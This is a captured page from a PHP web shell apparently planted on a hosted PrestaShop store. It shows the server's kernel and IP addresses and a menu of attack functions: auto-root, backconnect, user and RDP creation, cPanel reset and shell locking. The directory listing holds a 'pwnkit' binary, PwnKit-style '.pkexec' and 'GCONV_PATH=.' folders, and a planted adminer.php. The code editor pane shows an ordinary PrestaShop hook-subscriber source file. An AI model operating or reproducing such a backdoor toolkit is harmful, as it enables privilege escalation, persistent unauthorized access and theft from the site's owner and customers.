Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
alba-demenagements /
src /
Adapter /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Addons
[ DIR ]
drwx---r-x
Address
[ DIR ]
drwx---r-x
Admin
[ DIR ]
drwx---r-x
Assets
[ DIR ]
drwx---r-x
Attachment
[ DIR ]
drwx---r-x
Attribute
[ DIR ]
drwx---r-x
AttributeGroup
[ DIR ]
drwx---r-x
Backup
[ DIR ]
drwx---r-x
BestSales
[ DIR ]
drwx---r-x
CMS
[ DIR ]
drwx---r-x
Cache
[ DIR ]
drwx---r-x
Carrier
[ DIR ]
drwx---r-x
Cart
[ DIR ]
drwx---r-x
CartRule
[ DIR ]
drwx---r-x
CatalogPriceRule
[ DIR ]
drwx---r-x
Category
[ DIR ]
drwx---r-x
Configuration
[ DIR ]
drwx---r-x
Contact
[ DIR ]
drwx---r-x
Container
[ DIR ]
drwx---r-x
Converter
[ DIR ]
drwx---r-x
Country
[ DIR ]
drwx---r-x
CreditSlip
[ DIR ]
drwx---r-x
Currency
[ DIR ]
drwx---r-x
Customer
[ DIR ]
drwx---r-x
CustomerService
[ DIR ]
drwx---r-x
Debug
[ DIR ]
drwx---r-x
Domain
[ DIR ]
drwx---r-x
Email
[ DIR ]
drwx---r-x
Employee
[ DIR ]
drwx---r-x
Feature
[ DIR ]
drwx---r-x
File
[ DIR ]
drwx---r-x
Form
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Geolocation
[ DIR ]
drwx---r-x
Grid
[ DIR ]
drwx---r-x
Group
[ DIR ]
drwx---r-x
Hook
[ DIR ]
drwx---r-x
Hosting
[ DIR ]
drwx---r-x
Image
[ DIR ]
drwx---r-x
Import
[ DIR ]
drwx---r-x
Invoice
[ DIR ]
drwx---r-x
Kpi
[ DIR ]
drwx---r-x
Language
[ DIR ]
drwx---r-x
Localization
[ DIR ]
drwx---r-x
Mail
[ DIR ]
drwx---r-x
MailTemplate
[ DIR ]
drwx---r-x
Manufacturer
[ DIR ]
drwx---r-x
Media
[ DIR ]
drwx---r-x
Meta
[ DIR ]
drwx---r-x
Module
[ DIR ]
drwx---r-x
NewProducts
[ DIR ]
drwx---r-x
News
[ DIR ]
drwx---r-x
Notification
[ DIR ]
drwx---r-x
Number
[ DIR ]
drwx---r-x
OptionalFeatures
[ DIR ]
drwx---r-x
Order
[ DIR ]
drwx---r-x
OrderMessage
[ DIR ]
drwx---r-x
OrderState
[ DIR ]
drwx---r-x
PDF
[ DIR ]
drwx---r-x
Pack
[ DIR ]
drwx---r-x
Preferences
[ DIR ]
drwx---r-x
Presenter
[ DIR ]
drwx---r-x
PricesDrop
[ DIR ]
drwx---r-x
Product
[ DIR ]
drwx---r-x
Profile
[ DIR ]
drwx---r-x
Requirement
[ DIR ]
drwx---r-x
Routes
[ DIR ]
drwx---r-x
Routing
[ DIR ]
drwx---r-x
Search
[ DIR ]
drwx---r-x
Security
[ DIR ]
drwx---r-x
Shop
[ DIR ]
drwx---r-x
Smarty
[ DIR ]
drwx---r-x
SpecificPrice
[ DIR ]
drwx---r-x
SqlManager
[ DIR ]
drwx---r-x
Supplier
[ DIR ]
drwx---r-x
Support
[ DIR ]
drwx---r-x
System
[ DIR ]
drwx---r-x
Tab
[ DIR ]
drwx---r-x
Tax
[ DIR ]
drwx---r-x
TaxRulesGroup
[ DIR ]
drwx---r-x
Theme
[ DIR ]
drwx---r-x
Translations
[ DIR ]
drwx---r-x
Twig
[ DIR ]
drwx---r-x
Upload
[ DIR ]
drwx---r-x
Warehouse
[ DIR ]
drwx---r-x
Webservice
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
AddressFactory.php
1.88
KB
-rw----r--
CacheManager.php
1.41
KB
-rw----r--
ClassLang.php
1.66
KB
-rw----r--
CombinationDataProvider.php
8.26
KB
-rw----r--
Configuration.php
9
KB
-rw----r--
ContainerBuilder.php
7.92
KB
-rw----r--
ContainerFinder.php
2.34
KB
-rw----r--
ContextStateManager.php
9.07
KB
-rw----r--
CoreException.php
1.2
KB
-rw----r--
Database.php
2.63
KB
-rw----r--
EntityMapper.php
4.83
KB
-rw----r--
EntityMetaDataRetriever.php
1.99
KB
-rw----r--
Environment.php
2.6
KB
-rw----r--
GeneralConfiguration.php
2.94
KB
-rw----r--
HookManager.php
3.15
KB
-rw----r--
ImageManager.php
4.09
KB
-rw----r--
LegacyContext.php
10.2
KB
-rw----r--
LegacyHookSubscriber.php
12.85
KB
-rw----r--
LegacyLogger.php
4.74
KB
-rw----r--
ObjectPresenter.php
1.3
KB
-rw----r--
RoundingMapper.php
2.46
KB
-rw----r--
ServiceLocator.php
1.93
KB
-rw----r--
StockManager.php
7.68
KB
-rw----r--
SymfonyContainer.php
1.88
KB
-rw----r--
Tools.php
7.21
KB
-rw----r--
Validate.php
3.2
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LegacyHookSubscriber.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter; use Context; use Hook; use PrestaShopBundle\Service\Hook\HookEvent; use PrestaShopBundle\Service\Hook\RenderingHookEvent; use Symfony\Component\EventDispatcher\EventSubscriberInterface; /** * The subscriber for HookDispatcher that triggers legacy Hooks. * * This subscriber is registered into the HookDispatcher service via services.yml. * The legacy hooks are registered one by one in the dispatcher, but each corresponding * function is a magic method catched by __call(). * This ensure the listeners' count is real. * * * <h3>COVERED HOOKS FROM PrestaShop v1.7</h3> * * <div> * <h4>ProductController</h4> * <ul> * <li><h5>actionProductAdd</h5> * <ul> * <li>Legacy code (for legacy Admin controller, Product pages) is not modified</li> * <li>Since 1.7 (refactored Admin Product pages), triggered by an adapter from legacy code: not modified</li> * <li>Parameters: * <ol> * <li>product: [object] Product (unchanged)</li> * <li>cookie: [object] Cookie (unchanged)</li> * <li>cart: [object] Cart (unchanged)</li> * <li>altern: ???</li> * </ol> * </li> * <li>Returns: void</li> * </ul> * </li> * <li><h5>actionProductDelete</h5> * <ul> * <li>Legacy code (for legacy Admin controller, Product pages) is not modified</li> * <li>Since 1.7 (refactored Admin Product pages), triggered by an adapter from legacy code: not modified</li> * <li>Parameters: * <ol> * <li>id_product: [int] Product ID to be deleted (unchanged)</li> * <li>product: [object] Product (unchanged)</li> * <li>cookie: [object] Cookie (unchanged)</li> * <li>cart: [object] Cart (unchanged)</li> * <li>altern: ???</li> * </ol> * </li> * <li>Returns: void</li> * </ul> * </li> * <li><h5>actionProductUpdate</h5> * <ul> * <li>Legacy code (for legacy Admin controller, Product pages) is not modified</li> * <li>Since 1.7 (refactored Admin Product pages), triggered by an adapter from legacy code or directly from an adapter: duplicated behavior.</li> * <li>Parameters: * <ol> * <li>id_product: [int] Product ID to be deleted (unchanged)</li> * <li>product: [object] Product (unchanged)</li> * <li>cookie: [object] Cookie (unchanged)</li> * <li>cart: [object] Cart (unchanged)</li> * <li>altern: ???</li> * </ol> * </li> * <li>Returns: void</li> * </ul> * </li> * <li><h5>actionAdminProductsListingFieldsModifier</h5> * <ul> * <li>Legacy code (for legacy Admin controller, Product pages) is not modified</li> * <li>Since 1.7 (refactored Admin Product pages), triggered by an adapter with a DIFFERENT BEHAVIOR.</li> * <li>Parameters for the new 1.7 behavior (if _ps_version present and >=1.7.0): * <ol> * <li>_ps_version: [int] value of _PS_VERSION_ is present only if triggered on new Product catalog page (>=1.7)</li> * <li>sql_select: [&array] SELECT fields (to modify directly if needed)</li> * <li>sql_table: [&array] TABLES to join (to modify directly if needed)</li> * <li>sql_where: [&array] WHERE clauses (to modify directly if needed)</li> * <li>sql_order: [&array] ORDER BY clauses (to modify directly if needed)</li> * <li>sql_limit: [&string] LIMIT clause (to modify directly if needed)</li> * <li>cookie: [object] Cookie (unchanged)</li> * <li>cart: [object] Cart (unchanged)</li> * <li>altern: ???</li> * </ol> * </li> * <li>{@see AbstractAdminQueryBuilder::compileSqlQuery()} for more details about how to build these arrays.</li> * <li>{@see AdminProductDataProvider::getCatalogProductList()} for an example.</li> * <li>Returns: void (but you can modify input parameters passed by reference)</li> * </ul> * </li> * <li><h5>actionAdminProductsListingResultsModifier</h5> * <ul> * <li>Legacy code (for legacy Admin controller, Product pages) is not modified</li> * <li>Since 1.7 (refactored Admin Product pages), triggered by an adapter with a DIFFERENT BEHAVIOR.</li> * <li>Parameters for the new 1.7 behavior (if _ps_version present and >=1.7.0): * <ol> * <li>_ps_version: [int] value of _PS_VERSION_ is present only if triggered on new Product catalog page (>=1.7)</li> * <li>products: [&array] List of the products on the requested page, after sql query (modified by actionAdminProductsListingFieldsModifier hook)</li> * <li>total: [integer] total count of products (without pagination) that matches with the requested filters</li> * <li>cookie: [object] Cookie (unchanged)</li> * <li>cart: [object] Cart (unchanged)</li> * <li>altern: ???</li> * </ol> * </li> * <li>{@see AdminProductDataProvider::getCatalogProductList()} for an example.</li> * <li>Returns: void (but you can modify input parameters passed by reference)</li> * </ul> * </li> * <li><h5>displayAdminProductsExtra</h5> * <ul> * <li>Legacy code (for legacy Admin controller, Product pages) is not modified</li> * <li>Since 1.7 (refactored Admin Product pages), triggered by the new architecture in Twig template.</li> * <li>Parameters for the new 1.7 behavior (if _ps_version present and >=1.7.0): * <ol> * <li>_ps_version: [int] value of _PS_VERSION_ is present only if triggered on new Product details page (>=1.7)</li> * <li>id_product: [int] Product ID to be detailed in the form</li> * <li>cookie: [object] Cookie (unchanged)</li> * <li>cart: [object] Cart (unchanged)</li> * <li>altern: ???</li> * </ol> * </li> * <li>Returns: HTML code, all embedded. While the page has been refactored, JS and legacy HTML/CSS classes are all changed.</li> * </ul> * </li> * <li><h5>actionUpdateQuantity</h5> * <ul> * <li>Legacy code (for legacy Admin controller, Product pages) is not modified</li> * <li>Since 1.7 (refactored Admin Product pages), triggered by an adapter from legacy code or directly from an adapter: duplicated behavior.</li> * <li>Parameters: * <ol> * <li>id_product: [int] Product ID to be updated (unchanged)</li> * <li>id_product_attribute: [int] Product attribute ID to be updated (unchanged, 0 if the product has no attribute)</li> * <li>quantity: [int] Quantity to set (unchanged)</li> * <li>cookie: [object] Cookie (unchanged)</li> * <li>cart: [object] Cart (unchanged)</li> * <li>altern: ???</li> * </ol> * </li> * <li>Returns: void</li> * </ul> * </li> * <li><h5>action{Admin|AdminProductsController}{Duplicate|Delete|Sort|Activate|Deactivate}{Before|After}</h5> * <ul> * <li>Since 1.7, triggered from the Controller</li> * <li>Parameter, one of these: * <ol> * <li>product_list_id: [array] A list of product IDs concerning the action</li> * <li>product_id: [int] The product ID concerning the action</li> * <li>product_list_position: [array] The positions of products in the product_list_id parameter, to sort</li> * </ol> * </li> * <li>Returns: void</li> * </ul> * </li> * <li><h5>shouldUseLegacyPage</h5> * <ul> * <li>Since 1.7, triggered from the Controller. This is a transitional behavior and can be removed in the future.</li> * <li>Parameters: * <ol> * <li>page: [string] The page name concerning the parameter change ('product', etc...)</li> * <li>use_legacy: [boolean] True if the user ask to use legacy page instead of the new one.</li> * </ol> * </li> * <li>Returns: void</li> * </ul> * </li> * <li><h5>actionProductActivation</h5> * <ul> * <li>Since 1.7, triggered from the AdminProductDataUpdater via sf ProductController.</li> * <li>Parameters: * <ol> * <li>id_product: [int] Product ID to be updated</li> * <li>product: [object] Product</li> * <li>activated: [boolean] True if activation, False if deactivation.</li> * </ol> * </li> * <li>Returns: void</li> * </ul> * </li> * </ul> * </div> * <hr /> */ class LegacyHookSubscriber implements EventSubscriberInterface { /** * Returns an array of event names this subscriber wants to listen to. * * The array keys are event names and the value are a function name * that will be solved by magic __call(). The function contains data to extract: hookId, moduleId * * TODO: add cache layer on $listeners * * @return array The listeners array */ public static function getSubscribedEvents() { $listeners = []; //Hack SF2 cache clear : if context not mounted, bypass legacy call $legacyContext = Context::getContext(); if (!$legacyContext || empty($legacyContext->shop) || empty($legacyContext->employee)) { return $listeners; } $hooks = Hook::getHooks(); if (is_array($hooks)) { foreach ($hooks as $hook) { $name = strtolower($hook['name']); $id = $hook['id_hook']; $moduleListeners = []; $modules = []; //SF2 cache clear bug fix : call bqSQL alias function if (function_exists('bqSQL')) { $modules = Hook::getHookModuleExecList($name); } if (is_array($modules)) { foreach ($modules as $order => $module) { $moduleId = $module['id_module']; $functionName = 'call_' . $id . '_' . $moduleId; $moduleListeners[] = [$functionName, 2000 - $order]; } } else { $moduleListeners[] = ['call_' . $id . '_0', 2000]; } $listeners[$name] = $moduleListeners; } } return $listeners; } /** * This will handle magic methods registered as listeners. * * These methods are built with the following syntax: * "call_<hookID>_<moduleID>(HookEvent $event, $hookName)" * * @param string $name The method called * @param array $args The HookEvent, and then the hook name (eventName) * * @throws \BadMethodCallException */ public function __call($name, $args) { if (strpos($name, 'call_') !== 0) { throw new \BadMethodCallException('The call to \'' . $name . '\' is not recognized.'); } $ids = explode('_', $name); array_shift($ids); // remove 'call' if (count($ids) !== 2) { throw new \BadMethodCallException('The call to \'' . $name . '\' is not recognized.'); } $moduleId = (int) $ids[1]; list($event, $hookName) = $args; /** @var $event HookEvent */ $content = Hook::exec($hookName, $event->getHookParameters(), $moduleId, ($event instanceof RenderingHookEvent)); if ( $event instanceof RenderingHookEvent && 0 !== $moduleId && !empty($content) ) { $event->setContent([array_values($content)[0]], array_keys($content)[0]); } } }
Close